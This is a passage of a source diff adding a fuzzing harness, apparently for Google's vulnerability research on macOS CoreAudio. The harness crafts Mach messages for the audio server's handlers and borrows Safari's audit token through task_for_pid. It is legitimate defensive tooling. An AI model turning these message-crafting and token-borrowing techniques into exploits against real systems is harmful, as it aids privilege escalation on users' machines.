MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x58, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Condition 1: Set the value at a1 + 38 so that *(unsigned __int16 *)(a1 + 38) << 16 == 1114112 + uint16_t value_at_a1_38 = 0x11; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 38 - 24], &value_at_a1_38, sizeof(uint16_t)); + + // Condition 2: Set the value at a1 + 51 so that *(unsigned __int8 *)(a1 + 51) << 24 == 0x1000000 + uint8_t value_at_a1_51 = 0x01; + mach_msg[MACH_MSG_HEADER_SIZE + 51 - 24] = value_at_a1_51; + + // Condition 3: Ensure (*(_DWORD *)(a1 + 52) >> 1) == *(_DWORD *)(a1 + 80) + uint32_t value_at_a1_52; + memcpy(&value_at_a1_52, &mach_msg[MACH_MSG_HEADER_SIZE + 52 - 24], sizeof(uint32_t)); + + // Set the value at a1 + 80 to be half of the value at a1 + 52 + uint32_t value_at_a1_80 = value_at_a1_52 >> 1; + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 80 - 24], &value_at_a1_80, sizeof(uint32_t)); + + break; + } + case XTransportManager_CreateDevice: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x3C, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Set the proper value to descriptor_size_0 + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 32], &descriptor_size_0, sizeof(uint32_t)); + + break; + } + case XSystem_DeleteSetting: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x38, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Perform the shift operation (equivalent to dividing by 2) + uint32_t descriptor_size_shifted = descriptor_size_0 >> 1; // Shift right by 1 (shr) + + // Set the shifted value at the second memory location + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 28], &descriptor_size_shifted, sizeof(uint32_t)); + + break; + } + case XObject_GetPropertyData_DPList_QCFString: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Perform the shift operation (equivalent to dividing by 2) + uint32_t descriptor_size_shifted = descriptor_size_0 >> 1; // Shift right by 1 (shr) + + // Set the shifted value at the second memory location + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 44], &descriptor_size_shifted, sizeof(uint32_t)); + + break; + } + case XObject_GetPropertyData_DCFString_QCFString: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Perform the shift operation (equivalent to dividing by 2) + uint32_t descriptor_size_shifted = descriptor_size_0 >> 1; // Shift right by 1 (shr) + + // Set the shifted value at the second memory location + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 44], &descriptor_size_shifted, sizeof(uint32_t)); + + break; + } + case XObject_SetPropertyData_DCFString: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Perform the shift operation (equivalent to dividing by 2) + uint32_t descriptor_size_shifted = descriptor_size_0 >> 1; // Shift right by 1 (shr) + + // Set the shifted value at the second memory location + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 44], &descriptor_size_shifted, sizeof(uint32_t)); + + break; + } + case XObject_GetPropertyData_DAI32_QAI32: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Perform the shift operation (equivalent to dividing by 2) + uint32_t descriptor_size_shifted = descriptor_size_0 >> 2; // Shift left by 2 + + // Set the shifted value at the second memory location + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 44], &descriptor_size_shifted, sizeof(uint32_t)); + + break; + } + case XObject_GetPropertyData_DAI64_QAI64: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Perform the shift operation (equivalent to dividing by 2) + uint32_t descriptor_size_shifted = descriptor_size_0 >> 3; // Shift right by 3 (shr) + + // Set the shifted value at the second memory location + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 44], &descriptor_size_shifted, sizeof(uint32_t)); + + break; + } + case XObject_SetPropertyData_DAI32: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Perform the shift operation (equivalent to dividing by 2) + uint32_t descriptor_size_shifted = descriptor_size_0 >> 2; // Shift right by 2 (shr) + + // Set the shifted value at the second memory location + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 44], &descriptor_size_shifted, sizeof(uint32_t)); + + break; + } + case XObject_SetPropertyData_DAI64: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR}; + + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x48, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x1; + + uint32_t descriptor_size_0; + memcpy(&descriptor_size_0, &mach_msg[DESCRIPTOR_OFFSET_0], sizeof(uint32_t)); + + // Perform the shift operation (equivalent to dividing by 2) + uint32_t descriptor_size_shifted = descriptor_size_0 >> 3; // Shift right by 2 (shr) + + // Set the shifted value at the second memory location + memcpy(&mach_msg[MACH_MSG_HEADER_SIZE + 44], &descriptor_size_shifted, sizeof(uint32_t)); + + break; + } + // NORMAL MESSAGES + case XSystem_Close: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x18, mach_msg); + + break; + } + case XSystem_DestroyIOContext: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x24, mach_msg); + + break; + } + case XSystem_GetObjectInfo: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x24, mach_msg); + + break; + } + case XSystem_DestroyMetaDevice: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x24, mach_msg); + + break; + } + case XObject_GetPropertyData_DCFURL: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_GetPropertyData_DCFString: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_GetPropertyData_DI32: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_GetPropertyData_DF64: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_GetPropertyData_DI32_QI32: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x34, mach_msg); + + break; + } + case XObject_GetPropertyData_DCFString_QI32: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x34, mach_msg); + + break; + } + case XObject_GetPropertyData_DPList: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_GetPropertyData_DAI32: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_GetPropertyData_DF32_QF32: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x34, mach_msg); + + break; + } + case XObject_GetPropertyData_DF32: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_GetPropertyData_DAF64: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_GetPropertyData_DAI64: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_SetPropertyData_DI32: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x34, mach_msg); + + break; + } + case XObject_SetPropertyData_DF32: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x34, mach_msg); + + break; + } + case XObject_SetPropertyData_DF64: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x38, mach_msg); + + break; + } + case XObject_AddPropertyListener: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_RemovePropertyListener: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XTransportManager_DestroyDevice: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x28, mach_msg); + + break; + } + case XIOContext_Fetch_Workgroup_Port: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x24, mach_msg); + + break; + } + case XIOContext_WaitForTap: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x24, mach_msg); + + break; + } + case XIOContext_StopWaitingForTap: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x24, mach_msg); + + break; + } + case XIOContext_Stop: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x24, mach_msg); + + break; + } + case XObject_HasProperty: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + case XObject_IsPropertySettable: { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x30, mach_msg); + + break; + } + default: { + if (is_ool_message) { + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x00, (uint32_t)0x00, std::vector(), mach_msg, ool_buffers); + } else { + generate_normal_message(msg_id, fuzz_data, (uint32_t)0x00, mach_msg); + } + break; + } + } +} + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) { + FuzzedDataProvider fuzz_data(data, size); + + bool first = true; + + while (fuzz_data.remaining_bytes() >= MACH_MSG_HEADER_SIZE) { + verbose_print("\n*******NEW MESSAGE*******\n"); + + // printf("Let it be known, the next ObjectID is: %llu\n", *NextObjectID); + + uint32_t msg_id; + std::vector> ool_buffers; + std::vector mach_msg; + + if (first) { + msg_id = 1010000; + first = false; + } else { + msg_id = fuzz_data.ConsumeIntegralInRange(1010000, 1010072); + } + + verbose_print("Message ID: %d (%s)\n", msg_id, message_id_to_string(static_cast(msg_id))); + + bool is_ool_message = ool_descriptor_set.find(static_cast(msg_id)) != ool_descriptor_set.end(); + + // GENERATE MESSAGE + generate_message(msg_id, fuzz_data, mach_msg, ool_buffers, is_ool_message); + + // Allocate memory for return buffer + mach_msg_header_t *return_buffer = (mach_msg_header_t *)malloc(sizeof(mach_msg_header_t) + 10000); // Arbitrary at this point + if (!return_buffer) { + perror("Failed to allocate memory"); + for (const auto& buffer_pair : ool_buffers) { + vm_deallocate(mach_task_self(), (vm_address_t)buffer_pair.first, buffer_pair.second); + } + exit(EXIT_FAILURE); + } + + // Cast the buffer to mach_msg_header_t* for the function call + mach_msg_header_t *fuzz_mach_msg = (mach_msg_header_t *)mach_msg.data(); + + // fuzz_mach_msg->msgh_size = mach_msg_full_size - 52; // TRAILER_SIZE + + if (verbose) { + printf("Sending the following mach msg:\n"); + print_mach_msg((mach_message *)fuzz_mach_msg, mach_msg.size(), true); + } + + // Call the processing function + uint64_t result = Mach_Processing_Function(fuzz_mach_msg, return_buffer); + + verbose_print("Processing function result: %llu\n", result); + if (verbose) { + // Print return message + verbose_print("Return message:\n"); + print_mach_msg_no_trailer((mach_message*)return_buffer); + } + + // Free the allocated memory + free(return_buffer); + // Deallocate all OOL buffers after the message is processed + for (const auto& buffer_pair : ool_buffers) { + vm_deallocate(mach_task_self(), (vm_address_t)buffer_pair.first, buffer_pair.second); + } + } + + return 0; // Non-crashing inputs should return 0 +} + +extern "C" int fuzz_shmem() { + if (shm_data == NULL) { + verbose_print("Error: Shared memory data pointer is NULL\n"); + return 1; + } + + uint8_t *data = NULL; + size_t size = 0; + + // Read the size from shared memory and check for validity + size = (size_t)*(uint32_t *)(shm_data); + if (size > MAX_SAMPLE_SIZE) { + verbose_print("Warning: Size read from shared memory (%zu) exceeds MAX_SAMPLE_SIZE (%d). Truncating to MAX_SAMPLE_SIZE.\n", size, MAX_SAMPLE_SIZE); + size = MAX_SAMPLE_SIZE; + } + + // Allocate memory for data + data = (uint8_t *)malloc(size); + if (data == NULL) { + verbose_print("Error: Failed to allocate memory for data of size %zu\n", size); + return 1; + } + + // Copy data from shared memory to the allocated buffer + memcpy(data, shm_data + sizeof(uint32_t), size); + verbose_print("Info: Successfully copied %zu bytes from shared memory to data buffer\n", size); + + // Pass the data to the fuzzer + verbose_print("Info: Calling LLVMFuzzerTestOneInput with data size %zu\n", size); + LLVMFuzzerTestOneInput((const uint8_t *)data, size); + + // Free the allocated memory + free(data); + verbose_print("Info: Freed allocated memory for data buffer\n"); + return 0; +} + +extern "C" int fuzz(const char *file_path) { + FILE *file = fopen(file_path, "rb"); + if (!file) { + perror("Error opening file"); + printf("Faulty file: %s", file_path); + exit(EXIT_FAILURE); + } + + fseek(file, 0, SEEK_END); + size_t size = ftell(file); + fseek(file, 0, SEEK_SET); + + if (size > MAX_SAMPLE_SIZE) size = MAX_SAMPLE_SIZE; + uint8_t *data = (uint8_t *)malloc(size); + fread(data, 1, size, file); + fclose(file); + + LLVMFuzzerTestOneInput(data, size); + free(data); + return 0; +} + +int setup_shmem(char *name) { + int fd; + + // get shared memory file descriptor (NOT a file) + fd = shm_open(name, O_RDONLY, S_IRUSR | S_IWUSR); + if (fd == -1) + { + perror("Error in shm_open\n"); + return 1; + } + + // map shared memory to process address space + shm_data = (unsigned char *)mmap(NULL, SHM_SIZE, PROT_READ, MAP_SHARED, fd, 0); + if (shm_data == MAP_FAILED) + { + printf("Error in mmap\n"); + return 1; + } + + return 0; +} + +#ifndef TEST_RUNNING +int main(int argc, char *argv[]) { + char *shmem_name = NULL; + char *file_path = NULL; + + int opt; + while ((opt = getopt(argc, argv, "m:f:vb")) != -1) { + switch (opt) { + case 'm': + shmem_name = optarg; + break; + case 'f': + file_path = optarg; + break; + case 'v': + verbose = 1; + break; + case 'b': + print_bytes_only = 1; + break; + default: + fprintf(stderr, "Usage: %s [-m shmem_name] [-f file_path] [-v] [-b]\n", argv[0]); + exit(EXIT_FAILURE); + } + } + + if (file_path) { + fuzz(file_path); + } else if (shmem_name) { + if (!setup_shmem(shmem_name)) { + perror("Error mapping shared memory\n"); + return 1; + } + fuzz_shmem(); + } else { + fprintf(stderr, "Usage: %s [-m shmem_name] [-f file_path] [-v] [-b]\n", argv[0]); + exit(EXIT_FAILURE); + } + + return 0; +} +#endif + +__attribute__((constructor())) +void constructor(void) { + const char* wait_for_debugger = std::getenv("WAIT_FOR_DEBUGGER"); + + if (wait_for_debugger && std::string(wait_for_debugger) == "1") { + printf("Waiting for debugger to attach...\n"); + sleep(20); + printf("Debugger attached, continuing execution...\n"); + } + // const char *libraryPath = "/tmp/libraries/System/Library/Frameworks/CoreAudio.framework/Versions/A/CoreAudio"; + const char * libraryPath = "/System/Library/Frameworks/CoreAudio.framework/Versions/A/CoreAudio"; + const char *symbolName = "_HALB_MIGServer_server"; + + if (!initAudioHardwareServer(libraryPath, "_AudioHardwareStartServer")) { + printf("Failed to initialize AudioHardwareServer"); + exit(1); + } + if (!initMessageHandler(libraryPath, symbolName)) { + printf("Failed to initialize MessageHandler\n"); + exit(1); + } + if (!initNextObjectId(libraryPath, "__ZN14HALS_ObjectMap13sNextObjectIDE")) { + printf("Failed to initialize ObjectMap::sNextObjectId symbol\n"); + exit(1); + } + + // Get the audit token for Safari + safari_audit_token = get_safari_audit_token(); + + // Check if the audit token is valid (non-zero) + if (safari_audit_token.val[0] == 0 && safari_audit_token.val[1] == 0 && + safari_audit_token.val[2] == 0 && safari_audit_token.val[3] == 0 && + safari_audit_token.val[4] == 0 && safari_audit_token.val[5] == 0 && + safari_audit_token.val[6] == 0 && safari_audit_token.val[7] == 0) { + printf("Failed to get audit token for Safari\n"); + exit(1); + } + + //printf("Doin' a little swizzling ;)\n"); + setupSwizzling(); + + //printf("Initializing Audio Hardware Server...\n"); + AudioHardwareStartServer(); + //printf("All ready to go!!\n"); +} diff --git a/CoreAudioFuzz/helpers/SwizzleHelper.h b/CoreAudioFuzz/helpers/SwizzleHelper.h new file mode 100644 index 0000000..b513c15 --- /dev/null +++ b/CoreAudioFuzz/helpers/SwizzleHelper.h @@ -0,0 +1,20 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#import + +// Function to set up the swizzling +void setupSwizzling(void); diff --git a/CoreAudioFuzz/helpers/SwizzleHelper.mm b/CoreAudioFuzz/helpers/SwizzleHelper.mm new file mode 100644 index 0000000..210a6c8 --- /dev/null +++ b/CoreAudioFuzz/helpers/SwizzleHelper.mm @@ -0,0 +1,62 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#import "SwizzleHelper.h" +#import +#import + +// Forward declaration of the original method +@interface Core_Audio_Driver_Service_Client : NSObject ++ (id)get_driver_name_list:(id)arg1; +@end + +static id (*original_get_driver_name_list)(id self, SEL _cmd, id arg1); + +// Our replacement method +id swizzled_get_driver_name_list(id self, SEL _cmd, id arg1) { + (void)self; // Unused parameter + (void)_cmd; // Unused parameter + (void)arg1; // Unused parameter + // NSLog(@"Swizzled get_driver_name_list:"); + + // Return a dummy value + return nil; +} + +void setupSwizzling(void) { + Class coreaudioDriverServiceClient = objc_getClass("Core_Audio_Driver_Service_Client"); + if (!coreaudioDriverServiceClient) { + // NSLog(@"Failed to get Core_Audio_Driver_Service_Client class"); + return; + } + + SEL originalSelector = @selector(get_driver_name_list:); + Method originalMethod = class_getClassMethod(coreaudioDriverServiceClient, originalSelector); + if (!originalMethod) { + // NSLog(@"Failed to get original method"); + return; + } + + // Save the original method implementation + original_get_driver_name_list = (id (*)(id, SEL, id))method_getImplementation(originalMethod); + + // Set the new method implementation + IMP swizzledImp = (IMP)swizzled_get_driver_name_list; + method_setImplementation(originalMethod, swizzledImp); + + // NSLog(@"Successfully swizzled get_driver_name_list:"); +} + diff --git a/CoreAudioFuzz/helpers/audit_token.cc b/CoreAudioFuzz/helpers/audit_token.cc new file mode 100644 index 0000000..8f64baf --- /dev/null +++ b/CoreAudioFuzz/helpers/audit_token.cc @@ -0,0 +1,94 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "audit_token.h" + +// Function to get the PID of a process by looking for "Safari.app/Contents/MacOS/Safari" in the path +pid_t get_pid_of_safari() { + int num_pids; + size_t len; + + // Determine the size of the buffer required to hold the list of PIDs + if (sysctl((int[]){ CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 }, 4, NULL, &len, NULL, 0) == -1) { + perror("sysctl"); + return -1; + } + + pid_t *pids = (pid_t *)malloc(len); + if (pids == NULL) { + perror("malloc"); + return -1; + } + + // Get the list of PIDs + if (sysctl((int[]){ CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 }, 4, pids, &len, NULL, 0) == -1) { + perror("sysctl"); + free(pids); + return -1; + } + + // Iterate over the list to find Safari + num_pids = len / sizeof(pid_t); + for (int i = 0; i < num_pids; i++) { + pid_t pid = pids[i]; + if (pid == 0) { + continue; + } + + char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; + if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) { + if (strstr(pathbuf, "Safari.app/Contents/MacOS/Safari") != NULL) { + free(pids); + return pid; + } + } + } + + free(pids); + return -1; // Return -1 if Safari was not found +} + +// Function to get the audit token for the Safari process +audit_token_t get_safari_audit_token() { + + if (geteuid() != 0) { + fprintf(stderr, "This program must be run as root! (To get the audit token of Safari)\n"); + exit(1); + } + + pid_t pid = get_pid_of_safari(); + + // If PID not found, return an empty audit_token_t + if (pid == -1) { + audit_token_t empty_token = { 0 }; + return empty_token; + } + + // Get the audit token for the process + task_t task; + audit_token_t audit_token; + if (task_for_pid(mach_task_self(), pid, &task) == KERN_SUCCESS) { + mach_msg_type_number_t count = TASK_AUDIT_TOKEN_COUNT; + if (task_info(task, TASK_AUDIT_TOKEN, (task_info_t)&audit_token, &count) != KERN_SUCCESS) { + memset(&audit_token, 0, sizeof(audit_token)); // Return empty audit_token if failed + } + mach_port_deallocate(mach_task_self(), task); + } else { + memset(&audit_token, 0, sizeof(audit_token)); // Return empty audit_token if failed + } + + return audit_token; +} \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/audit_token.h b/CoreAudioFuzz/helpers/audit_token.h new file mode 100644 index 0000000..93b00dd --- /dev/null +++ b/CoreAudioFuzz/helpers/audit_token.h @@ -0,0 +1,24 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "harness.h" +#include +#include +#include + +pid_t get_pid_of_safari(); + +audit_token_t get_safari_audit_token(); \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/debug.cc b/CoreAudioFuzz/helpers/debug.cc new file mode 100644 index 0000000..13b574b --- /dev/null +++ b/CoreAudioFuzz/helpers/debug.cc @@ -0,0 +1,93 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "debug.h" + +void verbose_print(const char *format, ...) { + if (verbose) { + va_list args; + va_start(args, format); + vprintf(format, args); + va_end(args); + } +} + +void print_mach_msg(mach_message *msg, size_t total_size, bool is_ool_message) { + (void)is_ool_message; + printf("------ MACH MSG HEADER ------\n"); + printf("msg_bits: %u\n", msg->header.msgh_bits); + printf("msg_size: %u\n", msg->header.msgh_size); + printf("msg_remote_port: %u\n", msg->header.msgh_remote_port); + printf("msg_local_port: %u\n", msg->header.msgh_local_port); + printf("msg_voucher_port: %u\n", msg->header.msgh_voucher_port); + printf("msg_id: %u\n", msg->header.msgh_id); + + size_t header_size = sizeof(mach_msg_header_t); + size_t msg_body_size = msg->header.msgh_size - header_size; + printf("------ MACH MSG BODY (%lu bytes) ------\n", msg_body_size); + + for (size_t i = 0; i < msg_body_size; i++) { + printf("0x%02x ", (unsigned char)msg->body[i]); + } + printf("\n"); + + // Calculate and print trailer if present + size_t trailer_size = total_size - msg->header.msgh_size; + if (trailer_size >= MACH_MSG_TRAILER_SIZE) { + printf("------ MACH MSG TRAILER ------\n"); + uint8_t *trailer = (uint8_t *)(msg->body + msg_body_size); + printf("msg_trailer_type: %u\n", *(uint32_t *)(trailer)); + uint32_t trailer_body_size = *(uint32_t *)(trailer + 4); + printf("msg_trailer_size: %u\n", trailer_body_size); + printf("msg_seqno: %u\n", *(uint32_t *)(trailer + 8)); + printf("msg_sender: %llu\n", *(uint64_t *)(trailer + 12)); + + printf("------ MACH MSG TRAILER BODY (%u bytes) ------\n", trailer_body_size); + for (size_t i = 0; i < trailer_body_size; i++) { + printf("0x%02x ", trailer[MACH_MSG_TRAILER_HEADER_SIZE + i]); + } + printf("\n"); + } + + // Append the full mach message in bytes if -b flag is set + if (print_bytes_only) { + printf("\n------ FULL MESSAGE IN BYTES ------\n"); + uint8_t *full_msg = (uint8_t *)msg; // Pointer to the full message + for (size_t i = 0; i < total_size; i++) { + printf("0x%02x ", full_msg[i]); + } + printf("\n"); + } +} + +void print_mach_msg_no_trailer(mach_message *msg) { + printf("------ MACH MSG HEADER ------\n"); + printf("msg_bits: %u\n", msg->header.msgh_bits); + printf("msg_size: %u\n", msg->header.msgh_size); + printf("msg_remote_port: %u\n", msg->header.msgh_remote_port); + printf("msg_local_port: %u\n", msg->header.msgh_local_port); + printf("msg_voucher_port: %u\n", msg->header.msgh_voucher_port); + printf("msg_id: %u\n", msg->header.msgh_id); + + size_t header_size = sizeof(mach_msg_header_t); + size_t msg_body_size = msg->header.msgh_size - header_size; + printf("------ MACH MSG BODY (%lu bytes) ------\n", msg_body_size); + + for (size_t i = 0; i < msg_body_size; i++) { + printf("0x%02x ", (unsigned char)msg->body[i]); + } + printf("\n"); +} diff --git a/CoreAudioFuzz/helpers/debug.h b/CoreAudioFuzz/helpers/debug.h new file mode 100644 index 0000000..1e44350 --- /dev/null +++ b/CoreAudioFuzz/helpers/debug.h @@ -0,0 +1,28 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#ifndef DEBUG_H +#define DEBUG_H + +#include "harness.h" +#include +#include + +void verbose_print(const char *format, ...); +void print_mach_msg(mach_message *msg, size_t total_size, bool is_ool_message); +void print_mach_msg_no_trailer(mach_message *msg); + +#endif // DEBUG_H# \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/initialization.cc b/CoreAudioFuzz/helpers/initialization.cc new file mode 100644 index 0000000..fb5f938 --- /dev/null +++ b/CoreAudioFuzz/helpers/initialization.cc @@ -0,0 +1,65 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "initialization.h" + +int initMessageHandler(const char *libraryPath, const char *symbolName) { + void *coreAudioBaseAddress = LoadLibrary(libraryPath); + if (!coreAudioBaseAddress) { + printf("Load libray failed\n"); + return 0; + } + void *symbol_address = GetSymbolAddress(coreAudioBaseAddress, symbolName); + if(!symbol_address) { 